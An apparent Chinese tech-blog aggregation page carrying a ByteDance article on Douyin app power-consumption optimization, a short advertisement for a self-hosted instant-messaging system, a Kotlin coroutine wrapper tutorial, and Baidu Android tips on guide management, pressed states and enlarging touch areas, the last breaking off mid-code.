FOSS (Fidelity Optimized Signal Scaling,保真优化信号缩放)是芯片厂商提供的一种对 AMOLED 屏幕调节的低功耗方案。LCD 屏幕上对应的是 CABC (Content Adaptive Brightness Control,内容适应背光控制)。一方面降低屏幕亮度,一方面调节显示内容灰度值,从而使显示效果差异不大,由于降低了屏幕亮度,所以获取的功耗收益较大。一般大约是 0.2 小时左右,即平均可延长手机使用时间 0.2 小时左右。

已知的情况是厂商的 FOSS 方案在某些参数情况下会导致个别场景出现变色或闪烁问题。如果遇到未确认闪烁问题,在内部定位无法确认原因时,可以跟厂商咨询进行排除。

降低刷新率

目前市面上部分手机支持 60HZ,90HZ,120HZ,144HZ 等,高的刷新率带来了流畅度提高,用户的体验更好,但是功耗更高。通常来讲在系统应用界面比如桌面,设置,刷新率会跟当前系统设置保持一致,而在具体应用中,刷新率会根据不同场景做调整。比如抖音,即使在高刷屏幕上,平台系统一般选择让抖音运行在 60HZ 刷新率,从而相对功耗较低。

针对不同的刷新率,PhoneArena 就做了一个比较有参考性的数据来验证这个观点。他们选取了两个品牌四款产品,都是高刷新率的机型,在同一条件下进行 60Hz 刷新率和 120Hz 刷新率的测试,结果 120HZ 刷新率下手机续航相比 60HZ 下的确缩短了至少 10%,即便是支持 90Hz 的一加 8 也是比 60HZ 刷新率要差。

8536973b5bd8a8a6ae4a8a49df6802f7.png图片来源:https://www.sohu.com/a/394532665_115511

降低 TP 扫描频率

通常游戏中为了提高点击响应速度会提高 TP 扫描频率,其他场景都采用默认的扫描频率。抖音一般使用默认的 TP 扫描帧率。

0d9ed17e32161f4360cf401ea8310ab8.png

GPU

GPU 的优化思路主要在减少不必要的绘制或者降低绘制面积,这体现在更低的分辨率,更低的帧率,更少的绘制图层等方面。此外视频应用使用 SurfaceView 替换 TextureView 也有显著的功耗收益。对于复杂的运算,我们可以选择更高能效比的器件来进行,比如使用硬件绘制代替软件绘制,使用 NPU 代替 GPU 执行复杂算法,对整体功耗都有明显降低。

降低分辨率

应用低分辨率

通常该模式下游戏和特定应用一般以较低分辨率运行。缩小了 GPU 绘制区域和传输区域大小,降低了 GPU 和 CPU 以及传输 DDR 的功耗。功耗收益在游戏场景下比较大,线下测试特定平台下1080p->720p约20mA左右,1440p->720p约40mA左右。

其原理如下,应用图层在低分辨率下绘制,通过 HWC 通道放大到屏幕分辨率并跟其余图层合成后送显。

4c60c3000f5a9b6f89c0db048ca87fc4.png

该功能通常平台侧设置,非游戏应用无需关注,游戏应用可以自己选择设置低分辨率。

部分游戏比如腾讯系游戏(如 QQ 飞车、王者荣耀和和平精英等)内部也有不同分辨率的设置,默认以低分辨率运行,从而可以实现较低功耗。

整机低分辨率

所有应用都运行在低分辨率下。同样也缩小了 GPU 绘制区域和传输区域大小,降低了 GPU 和 CPU 以及传输 DDR 的功耗。功耗收益跟应用低分辨率相同,普通应用在该模式下也有功耗收益。用户从系统设置菜单中切换,应用本身通常无需关注。

其原理如下,所有图层都在低分辨率下绘制,并在低分辨率下进行合成。合成后经过 scaler 一次性放大到屏幕分辨率,然后进行送显。其中 scaler 是放缩硬件,由芯片平台提供。

63cd89e595bb18ebcdd450c3790d67f3.png

减少刷新区域

应用布局动画位置相近,布局出来一个较小的区域,绘制区域最小,刷新区域最小, 从而功耗最低。不同场景,收益不同。

如下图两种情况,可以看到左侧图,有 3 个动画区域(红色框住区域),最终形成的 Dirty 区域为大的红框区域,整个面积较大。而对比中间图,动画两个红色区域,经过运算后形成的 Dirty 大红框区域就较小,GPU 的绘制区域跟刷新的传输区域都较小,从而相对而言,功耗较低。从最右侧功耗数据图中可以看出收益较大。

可以在开发者选项中打开:设置 -> 开发者选项 -> 显示GPU视图更新,当刷新范围与动画范围明显不一致时便是动画布局不合理。这种情况需要具体到代码层面分析写法的问题并修改。

d06086f08a854c23e26f5915c80acca6.png

降低绘制频率

通常在游戏或应用动画中使用,可以降低 GPU 绘制频率和后面的刷新频率。通过降低动画绘制频率,可以降低 GPU,CPU 及 DDR 功耗。

不同帧率功耗情况对比如下,可以看到低帧率下相比高帧率,功耗明显低了很多。

1742f76650bf332f5f075004c989094e.png

在抖音应用中,低绘制帧率可以通过在抖音内部主动降低动画等帧率实现。在抖音推荐界面音乐转盘动画和音符动画中降低帧率,可以显著的降低功耗。此外也可以通过厂商侧提供 soft vsync 实现 30HZ 绘制,这部分抖音与厂商合作,SurfaceFlinger 控制 APP vsync,降帧时 SurfaceFlinger vsync 输出降为 30fps,在特定条件下主动降低帧率,以延长使用时长。

帧率对齐

在抖音推荐页面中,通过视频和降低频率后的动画达到同步,可以实现整个界面以30HZ 绘制和刷新。否则,如果视频30hz和动画30帧正好交错,最终形成的绘制/刷新频率还是60帧,没有达到最优。我们通过调节各种动画的绘制流程,将动画整体绘制对齐,整体帧率明显降低。

减少过度绘制

过度绘制(Overdraw)描述的是屏幕上的某个像素在同一帧的时间内被绘制了多次。在多层次重叠的 UI 结构里面,如果不可见的 UI 也在做绘制的操作,会导致某些像素区域被绘制了多次,同时也会浪费大量的 CPU 以及 GPU 资源。

可以通过如下来调试过度绘制:打开手机,设置 -> 开发者选项 -> 调试 GPU 过度绘制 -> 显示 GPU 过度绘制。过度绘制的存在会导致界面显示时浪费不必要的资源去渲染看不见的背景,或者对某些像素区域多次绘制,就会导致界面加载或者滑动时的不流畅、掉帧,对于用户体验来说就是 App 特别的卡顿。为了提升用户体验,提升应用的流畅性,优化过度绘制的工作还是很有必要做的。

抖音的 feed 页的过度绘制非常的严重,抖音存在 5 层过度绘制。下图左侧是优化前的过渡绘制情况,右侧是优化后的过度绘制情况,可以看出优化后明显改善。

8454fbcbf4b0665e09920339bfa37691.png

使用 SurfaceView 视频播放

TextureView 和 SurfaceView 是两个最常用的播放视频控件。TextureView 控件位于主图层上,解码器将视频帧传递到 TextureView 对象还需要 GPU 做一次绘制才能在屏幕上显示,所以其功耗更高,消耗内存更大,CPU 占用率也更高。

控件位置差异如下,可以看出 SurfaceView 拥有独立的 Surface 位于单独的图层上,而 TextureView 位于主图层上。

a5fa7b5186daac73bbbc885b4a30dfed.png

BufferQueue 是 Android 图形架构的核心,其一侧是生产者,另一侧是消费者。从这方面看,SurfaceView 和 TextureView 的差异如下。容易看出,SurfaceView 流程更短,内存使用更少,也没有 GPU 绘制,功耗更省。

e67e3801ae58fd1e3213375878ab37bf.png

下面是一些 SurfaceView 替换 TextureView 后的收益数据:

  • CPU 数据上看,SurfaceView 要比 TextureView 优化 8%-13%

  • 功耗数据上看,SurfaceView 要比 TextureView 平均功耗低 20mA 左右。

硬件绘制和软件绘制

硬件绘制是指通过 GPU 绘制,Android 从 3.0 开始支持硬件加速绘制,它在 UI 显示和绘制效率方面远高于软件绘制,但是 GPU 功耗相对较高。目前是系统默认的绘制方式。

软件绘制是指通过 CPU 实现绘制,Android 上面使用 Skia 图形库来进行绘制。两者差异参见下图。

c183f4026386b77217d6730df6569dbd.png

目前默认是开硬件加速的,可以通过设置 Activity,Application,窗口,View 等方式来指定软件绘制。如果应用需要单独指定某些场景的软件绘制方式,需要对性能、功耗等做好评估。参考链接:https://developer.android.com/guide/topics/graphics/hardware-accel

复杂算法用 NPU 代替 GPU

现在的较新的 SoC 平台都带有专门进行 AI 运算的 NPU 芯片,使用 NPU 代替 GPU 运行一些复杂算法,可以有效的节省 GPU 功耗。如视频的超分算法,可以给用户带来很好的体验。但是超分开启对 GPU 的耗电影响很大,在某些平台测试整机功耗可以高出 100mA,选择用 NPU 替换 GPU 是一种优化方式。

CPU

CPU 的优化是功耗优化里最常见的,我们遇到的大部分的 CPU 异常都是出现了死循环。这里使用上面介绍过的功耗归因工具,都可以很容易的发现死循环问题。此外高频的耗时函数,效果和死循环类似,很容易让 CPU 大核跑到高频点,带来 CPU 功耗增加。另外一个典型的 CPU 问题,就是动画泄漏,泄漏动画大概能带来 20mA 的功耗增加。

由于 CPU 工作耗电很高,手机平台大多会增加各种低功耗的 DSP 来分担 CPU 的工作,减少耗电,如常见视频解码,使用硬解会有更好的功耗表现。

CPU 高负载优化

死循环治理

死循环是我们遇到的最明显的 CPU 异常,通常表现为某一个线程占满了一个大核。线程使用率达到了 100%,手机会很容易发热,卡顿。

这里举一个实际修复的死循环例子,在一段循环打包日志的代码逻辑里,所有 log打包完了,才会break跳出循环。当db query出现了异常,异常处理分支并没有做break,导致出现了死循环。

// 方法逻辑有裁剪,仅贴出主要逻辑
private JSONArray packMiscLog() {
  do {
      ......
      try {
          cursor = mDb.query(......);
          int n = cursor.getCount();
          ......
          if (start_id >= max_id) {
              break;
          }
      } catch (Exception e) {
      } finally {
          safeCloseCursor(cursor);
      }
  } while (true);
  return ret;
}

对于死循环治理,我们通过实际解决的问题,总结了几种常见的死循环套路。

// 边界条件未满足,无法break
while (true) {
  ...
  if (shouldExit()) {
      break
  }
}

// 异常处理不妥当,导致死循环
while (true) {
  try {
      do someting;
      break;
  } catch (e) {
  }
}

// 消息处理不当,导致Handler线程死循环
void handleMessage(Message msg) {
  //do something
  handler.sendEmptyMessage(MSG)
}

高频耗时函数治理

除了死循环问题,我们遇到的另外一种常见的就是高频的耗时函数。通过线上监控 CPU 异常,我们也找到很多可优化的点。如 md5 压缩算法的耗时,正则表达式的不合理使用,使用 cmd 执行系统命令的耗时等。这种就 case by case 的修复,就有很不错的收益。

后台资源规范使用

Alarm,Wakelock,JobScheduler 的规范使用

最常见的后台 CPU 耗电就是对后台资源的不合理使用。Alarm 的频繁唤醒,wakelock 的长时间不释放,JobScheduler 的频繁执行,都会使 CPU 保持唤醒状态,造成后台耗电。这种行为很容易让系统判断应用为后台异常耗电,通常会被系统清理,或者发出高耗电提醒。

我们可以通过 dumpsys alarm & dumpsys power & dumpsys jobscheduler 查看相关的统计信息,也可以通过 BH 的后台统计来分析自身的使用情况。

参考绿盟的功耗标准,灭屏 Alarm 触发小于过 12 次/h,即 5min 一次,5min 一次在数据业务下可以保证长链接存活,厂商的后台功耗优化也通常会强制对齐 Alarm 为 5min 触发一次。

后台的 Partial Wakelock 通常会被重点限制,非可感知的场景(音乐,导航,运动)等会被厂商强制释放 wakelock。按照绿盟的标准,灭屏下每小时累计持锁小于 5min,从实际经验上看,持 Partial 锁超过 1min 就会被标为 Long 的 wakelock,如果是应用在后台无可感知业务并且频繁持锁,导致系统无法休眠的,系统会触发 forcestop 清理。

d82f1693c177753e4bd577aa2d90a861.png

某些定时任务可以使用 JobScheduler 来替代 Alarm,Job 的好处是可以组合多种触发条件,选择一个最恰当的时刻让系统调度自己的后台任务。这里建议使用充电+网络可用状态下处理自己的后台任务,对功耗体验是最好的。如果是非充电场景下,设置条件频繁触发 job,同样会带来耗电问题。值得一提的是 Job 执行完要及时结束。因为 JobScheduler 在执行时会持有一个job/开头的 wakelock,最长执行时间 10min,如果一直在执行状态不结束,就会导致系统无法休眠。

视频硬解替换软解

硬解通常是用手机平台自带的硬件解码器来做解码从而实现视频播放,基于专用芯片的硬解码速度快、功耗低;软解码方面,通常使用 FFMPEG 内置的 H.264 和 H.265 的软件解码库来做解码。

下表是三星手机和苹果手机分别在软硬解情况下的功耗,可以看出硬解功耗比软解功耗显著降低,目前抖音默认使用硬解。

3bcc9402151f084b9be2a60de357ad3f.png图片来源:http://www.noobyard.com/article/p-eedllxrr-qz.html

NETWORK

网络耗电是应用耗电的一个重要部分,一个数据包的收发,会同步拉动 CPU 和 Modem/WIFI 两大系统。由于 LTE 的 CDRX 特性(即没有数据包接收,维持一定时间的激活态,再进入睡眠,依赖运营商配置,通常为 10s),所以批量进行网络访问,减少频繁的网络唤醒对网络功耗很有帮忙。此外优化压缩算法,减少数据传输量也从基础上减少了网络耗电。

此外弱信号条件下的网络请求会提高天线的功率,也会触发频繁的搜网,带来更高的网络功耗。根据网络质量进行网络请求调度,提前预缓存网络资源,可以减少网络耗电。

长链接心跳优化

对于应用的后台 PUSH 来说,使用厂商稳定的 push 链路替代自己的长链接可以减少功耗。如果不能替换,也可以优化长链接保活的心跳,根据不同的网络条件动态的调整心跳。根据经验,数据业务下通常是 5min,WIFI 网络下通常可以达到 20min 或更久。

抖音对于长链接进行了的心跳优化,进入后台的长链接心跳时间间隔 [4min, 28min],初始心跳 4min。采用动态心跳试探策略,每次步进 2min,确定最大心跳间隔。

Doze 模式适配

由于系统对后台应用有多种网络限制策略,最常见的是 Doze 模式,手机灭屏一段时间后会进入 doze,限制非白名单应用访问网络,并在窗口期解除限制,窗口期为每 10min 放开 30s。所以在后台进行网络访问前要特别注意进行网络可用的判断,选择窗口期进行网络访问,避免因为被限网而浪费了 CPU 资源。

这里举一个 Doze 未适配的后台耗电例子,用户反馈抖音自上次手机充满电(24h)后,没有在前台使用过,耗电占比 31%,分析日志发现 I 在 Doze 限制网络期间,会触发轮询判断网络是否及时恢复,此逻辑在后台未适配 Doze 的窗口期模式,导致了后台频繁尝试网络请求带来的 CPU 耗电。

c43587c8065f16cfa67ed4eb3219e3f1.png

AUDIO

降低音量

音频的耗电最终体现在 Codec 和 SmartPA(连接喇叭的功率放大器)两部分。减少 Audio 耗电最明显的就是减少音频的音量,这直接反应到喇叭的响度上。

用 0-15 级的音量进行测试,可以看到音量对功耗的影响巨大,尤其是超过 10 之后,整体增幅非常巨大。每一级几乎与功耗成百分比上涨。

acce588e8f9b0a18aed0ca2545ac2608.png

  • 10-15 :1:30ma

  • 5-10:1:1.62ma

  • 0-5:1:1.36ma

调整音频参数

由于用户对音量的感受很明显,直接全局降低音量会带来不好的体验。厂商通常会针对不同的场景,设计不同的音频参数,如电影场景,游戏场景,导航场景,动态调节音频的高低频配置参数,兼顾了效果和功耗。

从这个角度出发,可以选择和厂商合作,根据播放视频的内容,精细化调整音频参数,如电影剪辑类型视频就使用电影场景的参数,游戏视频就切换为游戏场景的配置参数,从而达到用户无感调节音量节省功耗的目的。

CAMERA

Camera 是功耗大户,尤其是高分辨率高帧率的录制会带来快速的功耗消耗和温升。经过线下测算,开播场景,Camera 功耗 200mA+,占整机的 25%以上。

优化Camera功耗的思路主要是从业务降级的角度上进行,如降低录制的分辨率,降低录制帧率等。之前抖音直播和生产端都是使用30帧,但最终只使用15帧,在开播端主动下调采集帧率,按需设置帧率为15帧,功耗显著降低了120ma。

SENSOR

sensor 的典型功耗值很低,如我们常用到的 accelerometer(加速度计)的典型功耗只有 180uA。但 sensor 的开启会导致 cpu 的唤醒与负载增加,尤其是在应用退到后台,sensor 的滥用会显著增加待机功耗。可以在低电量时关闭不必要的 sensor,减少耗电。

GPS

精确度,频率,间隔是影响 GPS 耗电的三个主要因素。其中精度影响定位的工作模式,频率和间隔是影响工作时长,我们可以通过优化这三者来减少 GPS 的耗电

降低精度

Android 原生定位提供 GPS 定位和网络定位两种模式。GPS 定位支持离线定位,依靠卫星,没有网络也能定位,精度高,但功耗大,因需要开启移动设备中的 GPS 定位模块,会消耗较多电量。

Network 定位(网络定位),定位速度快,只要具备网络或者基站要求,在任何地方都可实现瞬间定位,室内同样满足;功耗小,耗电量小;但定位精度差,容易受干扰,在基站或者 WiFi 数量少、信号弱的地方定位质量较差,或者无法定位;必须连接网络才能实现定位。

我们可以在满足定位要求的情况下,主动使用低精度的网络定位,减少定位耗电,抖音在进入低功耗模式时,进行了 GPS 降级为网络定位,并且扩大了定位间隔。

降低频率&提高间隔

这里除了业务上主动控制频率与间隔外,还推荐使用厂商的定位服务。为了优化定位耗电,海外 gms 以及国内厂商都提供了位置服务 SDK,本质上是通过系统服务统一管理位置请求,根据电量,信号,请求方的延迟精度要求,进行动态调整,达到功耗与定位需求的平衡。提供了诸如被动位置更新,获取最近一次定位的位置信息,批量后台位置请求等低功耗定位能力。

https://developer.android.com/guide/topics/location/battery https://developer.huawei.com/consumer/cn/doc/development/HMSCore-References/location-description-0000001088559417

低功耗模式

上述的优化措施,有些在常规模式下已经实施。但有一部分是有损用户体验的,我们选择在低电量场景下去做,降低功耗,减少用户的电量焦虑,获得用户在低电量下更多使用时长。

在低功耗模式预研中,我们列举了很多可做的措施,通过 AB 实验,我们去掉了业务负向的降级手段,比如亮度降低,音量降低等。此外在功能触发的策略上,我们通过对比了低电量弹窗提醒,设置里增加开关+Toast 提醒,以及低电量自动进入,最终选择了对用户体验最好的 30%电量无打扰自动进入的触发方式。

06827ecf92bc688522fdc01e1cb31cf5.png

经过实验发现,一些高发热机型,通过低功耗模式全程开启,也可以拿到业务收益。说明部分有损的降级,用户在易发热的情况下也是接受的,可以置换出业务收益,目前低功耗模式线下测试功耗收益稳定在 20mA 以上。

总结

功耗优化是一个复杂的综合课题,既包含了利用工具对功耗做拆解评估,对异常的监控治理,也包含了主动挖掘优化点进行优化。上面列举的优化思路,我们也只是做了部分,还有部分待开展,包括功耗归因的工具建设上,我们也还有很多可以优化的点。我们会持续发力,产出更多的方案,在满足使用需求的前提下,消耗更少的物理资源,给抖音用户带来更好的功耗体验。

作者: 字节跳动技术团队
来源:https://blog.csdn.net/ByteDanceTech/article/details/125109383

收起阅读 »

可部署于windows和Linux的即时通讯系统

系统概况信贸通即时通讯系统,一款跨平台可定制的 P2P 即时通信系统,为电子商务网站及各行业门户网站和企事业单位提供“一站式”定制解决方案,打造一个稳定,安全,高效,可扩展的即时通信系统,支持在线聊天、视频/语音对话、点对点断点续传文件、自定义皮肤等。软件能真...
继续阅读 »

系统概况
信贸通即时通讯系统,一款跨平台可定制的 P2P 即时通信系统,为电子商务网站及各行业门户网站和企事业单位提供“一站式”定制解决方案,打造一个稳定,安全,高效,可扩展的即时通信系统,支持在线聊天、视频/语音对话、点对点断点续传文件、自定义皮肤等。软件能真正无缝与电子商务网站整合,有效提高工作效率,节约成本。同时可根据用户的需求进行二次开发,并提供与其他软件整合或嵌入方案

系统架构
自研协议独立开发,采用高并发go语言开发的即时通讯及历史消息云存储通信系统。系统安全性高可扩展能力强,系统兼容性好。可快速无缝集成到各种应用系统,有效提高开发效率,节约成本。能轻松在线定制客户端。支持多平台客户端实现多端与多设备同步。

私有部署
整个系统部署在您自己的服务器上,可以部署在公网也可以部署在内网中,支持Windows服务和Linux服务器,硬件要求低(主流服务器和云服务器均可运行)。系统独立运行,完全自主管理和监控,最大程度上保障数据安全,避免信息泄露,安全性更高,带来更多的便捷和保障。

定制开发
可根据客户的需求量身定制符合客户实际应用的即时通聊天软件,可控性强、易扩展,系统集成度高。可以快速进行二次开发,简单方便来进行定制管理。

客户端 / 功能
支持windows,安卓,ios,主流浏览器,功能单聊,群聊,消息互通,朋友圈等主流功能,安全可靠。


http://www.51dn.top/wp-content/uploads/2022/04/QQ截图20220407104051-624x315.jpg 624w, http://www.51dn.top/wp-content/uploads/2022/04/QQ截图20220407104051.jpg 671w" sizes="(max-width: 500px) 100vw, 500px" style="vertical-align: baseline; border-radius: 3px; box-shadow: rgba(0, 0, 0, 0.2) 0px 1px 4px;">


收起阅读 »

封装Kotlin协程请求,这一篇就够了

协程(coroutines)的封装在默认的Kotlin协程环境中,我们需要自定义协程的作用域CoroutineScope,还有负责维护协程的调度等等,有没有方法可以让协程的使用者屏蔽对底层协程的认识,简单就能使用呢?这里带来了一个封装思路。封装前例子假如我们有...
继续阅读 »

协程(coroutines)的封装

在默认的Kotlin协程环境中,我们需要自定义协程的作用域CoroutineScope,还有负责维护协程的调度等等,有没有方法可以让协程的使用者屏蔽对底层协程的认识,简单就能使用呢?这里带来了一个封装思路。

封装前例子

假如我们有个一个suspend函数

suspend fun getTest():String{
  delay(5000)
  return "11"
}

我们要实现的封装是:

1.执行suspend函数,并且使用者对底层无感知,无需了解协程就可以使用,这就要求我们屏蔽CoroutineScope细节

2.自动类型转换,比如返回String我们就应该可以在成功的回调中自动转型为String

3.成功的回调,失败的回调等

4.要不,来个DSL风格

//
async{
  // 请求
  getTest()

}.await(onSuccess = {
  //成功时回调,并且具有返回的类型
  Log.i("print",it)
},onError = {

},onComplete = {

})

可以看到,编译时就已经将it变为我们想要的类型了! 我们最终想要实现上面这种方式

封装开始

思路:我们自动对请求进行线程切换,使用Dispatchers即可,还有就是我们需要有监听的回调和DSL写法,所以就可以考虑用协程的async方式发起一个请求,返回值是Deferred类型,我们就可以使用扩展函数实现.await的形式!如果熟悉flutter的同学看的话,是不是很像我们的dio请求方式呢!下面是代码,可以根据更细节的需求进行补充噢:

fun <T> async(loader:suspend () ->T): Deferred<T> {
  val deferred = CoroutineScope(Dispatchers.IO).async {
      loader.invoke()
  }
  return deferred
}

fun <T> Deferred<T>.await(onSuccess:(T)->Unit,onError:(e:Exception)->Unit,onComplete:(()->Unit)?=null){
  CoroutineScope(Dispatchers.Main).launch {

      try{          
          val result = this@await.await()    
          onSuccess(result)
           
      }catch (e:Exception){
          onError(e)
      }
      finally {
          onComplete?.invoke()
      }
  }
}

总结

是不是非常好玩呢!我们实现了一个dio风格的请求,对于开发者来说,只需定义suspend修饰的函数,就可以无缝使用我们的请求框架!


作者:Pika
来源:https://juejin.cn/post/7100856445905666079

收起阅读 »

百度程序员Android开发小技巧

本期技术加油站给大家带来百度一线的同学在日常工作中Android 开发的小技巧:Android有序管理功能引导;一行代码给View增加按下态;一行代码扩大 Andriod 点击区域,希望能为大家的技术提升助力!01Android有序管理功能引导随着移动互联网的...
继续阅读 »

本期技术加油站给大家带来百度一线的同学在日常工作中Android 开发的小技巧:Android有序管理功能引导;一行代码给View增加按下态;一行代码扩大 Andriod 点击区域,希望能为大家的技术提升助力!

01Android有序管理功能引导
随着移动互联网的发展,APP的迭代进入了深水区,产品迭代越来越精细化。很多新需求都会添加功能引导,提高用户对新功能的感知。但是,如果每个功能引导都不考虑其它的功能引导View冲突,就会出现多个引导同时出现的情况,非常影响用户体验,降低引导效果。因此,有序管理功能引导View就显得非常重要。

首先,我们需要根据自身的业务场景,梳理不同的引导类型。为了精准区分每一种引导,使用枚举定义。

enum class GuideType {
GuideTypeA,
...
GuideTypeN
}
1.
2.
3.
4.
5.
其次,将这些引导注册到引导管理器GuideManager中,注册方法需要传入引导的类型,显示引导回调,引导是否正在显示回调,引导是否已经显示回调等参数。注册引导实际上就是将引导的根据优先级保存在一个集合中,便于在需要显示引导时,判断此时是否能够显示该引导。

object GuideManager {
private val guideMap = mutableMapOf<Int, GuideModel>()

fun registerGuide(guideType: GuideType,
show: () -> Unit,
isShowing: () -> Boolean,
hasShown: () -> Boolean,
setHasShown: () -> Unit) {
guideMap[guideType.ordinal] = GuideModel(show, isShowing, hasShown, setHasShown)
}
...
}
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
接下来,业务方调用GuideManager.show(guideType)触发引导的显示。

如果要显示的引导没有注册,则不会显示;

如果要显示的引导正在显示或已经显示,则不会重复显示;

如果当前注册的引导集合中有引导正在显示,则不会显示;

调用show回调,设置已经显示过;

object GuideManager {
...
fun show(guideType: GuideType) {
val guideModel = guideMap[guideType.ordinal] ?: return
if (guideModel.isShowing.invoke() || guideModel.hasShown.invoke()) {
return
}
guideMap.forEach {
if (entry.value.isShowing().invoke()) {
return
}
}
guideModel.run {
show().invoke()
setHasShown().invoke()
}
}
}
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
最后,需要处理单例中已注册引导的释放逻辑,将guideMap集合清空。

object GuideManager {
...
fun release() {
guideMap.clear()
}
}
1.
2.
3.
4.
5.
6.
以上实现是简易版的引导管理器,使用时还可以结合具体业务场景,添加更多的引导拦截策略,例如当前业务场景处于某个状态时,所有引导都不展示,则可以在GuideManager.show(guideType)中添加个性化处理逻辑。

02一行代码给View增加按下态
在Android开发中,经常会遇到UE要求添加按下态效果。常规的写法是使用selector,分别设置按下态和默认态的资源,代码示例如下:

<?xml version="1.0" encoding="utf-8"?>
<selector xmlns:android="http://schemas.android.com/apk/res/android">
<item android:drawable="@drawable/XX_pressed" android:state_selected="true"/>
<item android:drawable="@drawable/XX_pressed" android:state_pressed="true"/>
<item android:drawable="@drawable/XX_normal"/>
</selector>
1.
2.
3.
4.
5.
6.
UE提供的按下态效果,有的时候仅需改变透明度。这种效果也可以用上述方法实现,但缺点也很明显,需要增加额外的按下态资源,影响包体积。这个时候我们可以使用alpha属性,代码如下:

<?xml version="1.0" encoding="utf-8"?>
<selector xmlns:android="http://schemas.android.com/apk/res/android">
<item android:drawable="@drawable/XX" android:alpha="XX" android:state_selected="true"/>
<item android:drawable="@drawable/XX" android:alpha="XX" android:state_pressed="true"/>
<item android:drawable="@drawable/XX"/>
</selector>
1.
2.
3.
4.
5.
6.
这种写法,不需要额外增加按下态资源,但也有一些缺点:该属性Android 6.0以下不生效。

我们可以利用Android的事件分发机制,封装一个工具类,从而达到一行代码实现按下态。代码如下:

@JvmOverloads
fun View.addPressedState(pressedAlpha: Float = 0.2f) = run {
setOnTouchListener { v, event ->
when (event.action) {
MotionEvent.ACTION_DOWN -> v.alpha = pressedAlpha
MotionEvent.ACTION_CANCEL, MotionEvent.ACTION_UP -> v.alpha = 1.0f
}
// 注意这里要return false
false
}
}
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
用户对屏幕的操作,可以简单划分为以下几个最基础的事件:



Android的View是树形结构的,View可能会重叠在一起,当点击的地方有多个View可以响应点击事件时,为了确定该让哪个View处理这次点击事件,就需要事件分发机制来帮忙。事件收集之后最先传递给 Activity,然后依次向下传递,大致如下:Activity -> PhoneWindow -> DecorView -> ViewGroup -> … -> View。如果没有任何View消费掉事件,那么这个事件会按照反方向回传,最终传回给Activity,如果最后 Activity 也没有处理,本次事件才会被抛弃。这是一个非常典型的责任链模式。整个过程,有三个非常重要的方法:



以上三个方法均有一个布尔类型的返回值,通过返回 true 和 false 来控制事件传递的流程。这三个方法的调用关系,可以用下面的伪代码描述:

public boolean dispatchTouchEvent(MotionEvent ev) {
boolean consume = false;
if (onInterceptTouchEvent(ev)) {
consume = onTouchEvent(ev);
} else {
consume = child.dispatchTouchEvent(ev);
}
return consume;
}
1.
2.
3.
4.
5.
6.
7.
8.
9.
对于一个View来说,它可以注册很多事件监听器,例如单击事件、长按事件、触摸事件,并且View自身也有onTouchEvent方法,这些与事件相关的方法由View的dispatchTouchEvent方法管理,事件的调度顺序是onTouchListener -> onTouchEvent -> onLongClickListener -> onClickListener。所以我们可以通过为View添加onTouchListener来处理View的按下、抬起效果。需要注意的是,如果onTouchListener中的onTouch返回true,不会再继续执行onTouchEvent,后面的事件都不会响应,所以我们需要在工具类中return false。

03一行代码扩大 Andriod 点击区域
在Android 开发中,经常会遇到扩大某些按钮点击区域的场景,如某个页面关闭按钮比较小,为防止误触或点不到,需要扩大其点击区域。

常见的扩大点击区域的思路有三个:

1. 修改布局。如增加按钮的内padding,或者外面嵌套一层Layout,并在外层Layout设置监听。

2. 自定义事件处理。如在父布局中监听点击事件,并设置各组件的响应点击区域,在对应点击区域里时就转发到对应组件的点击。

3. 使用 Android 官方提供的TouchDelegate 设置点击事件。

其中第一种方式弊端很明显,会增加业务复杂度,降低渲染性能;或者当布局位置不够时,增加padding或添加外层布局就行不通了。

第二种方式可以从根本上扩大点击区域,但是问题依旧明显:编码的复杂度太高,每次扩大点击区域都意味着需要根据实际需求去“重复造轮子”:写一堆获取位置、判定等代码。

第三种方式是Android官方提供的一个解决方案,能够比较优雅地解决这个问题,如下描述:

Helper class to handle situations where you want a view to have a larger touch area than its actual view bounds. The view whose touch area is changed is called the delegate view. This class should be used by an ancestor of the delegate. To use a TouchDelegate, first create an instance that specifies the bounds that should be mapped to the delegate and the delegate view itself.

当然,如果使用 Android 的TouchDelegate,很多时候还不能满足我们需求,比如我们想在一个父(祖先)View 中给多个子 View 扩大点击区域,如在一个互动Bar上有点赞、收藏、评论等按钮。这时可以在自定义TouchDelegate时维护一个View Map,该Map 中保存子View和对应需要扩大的区域,然后在点击转发逻辑里动态计算该点击事件属于哪个子View区域,并进行转发。关键代码如下:

// 已省略无关代码
public class MyTouchDelegate extends TouchDelegate {
/** 需要扩大点击区域的子 View 和其点击区域的集合 */
private Map<View, ExpandBounds> mDelegateViewExpandMap = new HashMap<>();

@Override
public boolean onTouchEvent(MotionEvent event) {
// ……
// 遍历拿到对应的view和扩大区域,其它逻辑跟原始逻辑类似
for (Map.Entry<View, ExpandBounds> entry : mDelegateViewExpandMap.entrySet()) {
View child = entry.getKey();
ExpandBounds childBounds = entry.getValue()
}
// ……
}

public void addExpandChild(View delegateView, int left, int top, int right, int bottom) {
MyTouchDelegate.ExpandBounds expandBounds = new MyouchDelegate.ExpandBounds(new Rect(), left, top, right, bottom);
this.mDelegateViewExpandMap.put(delegateView, expandBounds);
}
}

1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
更进一步的,可以写个工具类,或者Kotlin扩展方法,输入需要扩大点击区域的View、祖先View、以及对应的扩大大小,从而达到一行代码扩大一个View的点击区域的目的。

public static void expandTouchArea(View ancestor, View child, int left, int top, int right, int bottom) {
if (child != null && ancestor != null) {
MyTouchDelegate touchDelegate;
if (ancestor.getTouchDelegate() instanceof MyTouchDelegate) {
touchDelegate = (MyTouchDelegate)ancestor.getTouchDelegate();
touchDelegate.addExpandChild(child, left, top, right, bottom);
} else {
touchDelegate = new MyTouchDelegate(child, left, top, right, bottom);
ancestor.setTouchDelegate(touchDelegate);
}
}
}
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
注意: TouchDelegate在Android8.0及其以前有个bug,如果需要兼容低版本需要留意下,在通过delegate触发子View点击事件之后,父View自己监听的点击事件就永远无法被触发了,原因在于TouchDelegate中对点击事件转发的处理中(onTouchEvent)对MotionEvent.ACTION_DOWN)有问题,不在点击范围内时,未对mDelegateTargeted变量重置为false,导致父view再也收不到点击事件,无法处理click等操作,相关Android源码如下:

// …… 已省略无关代码
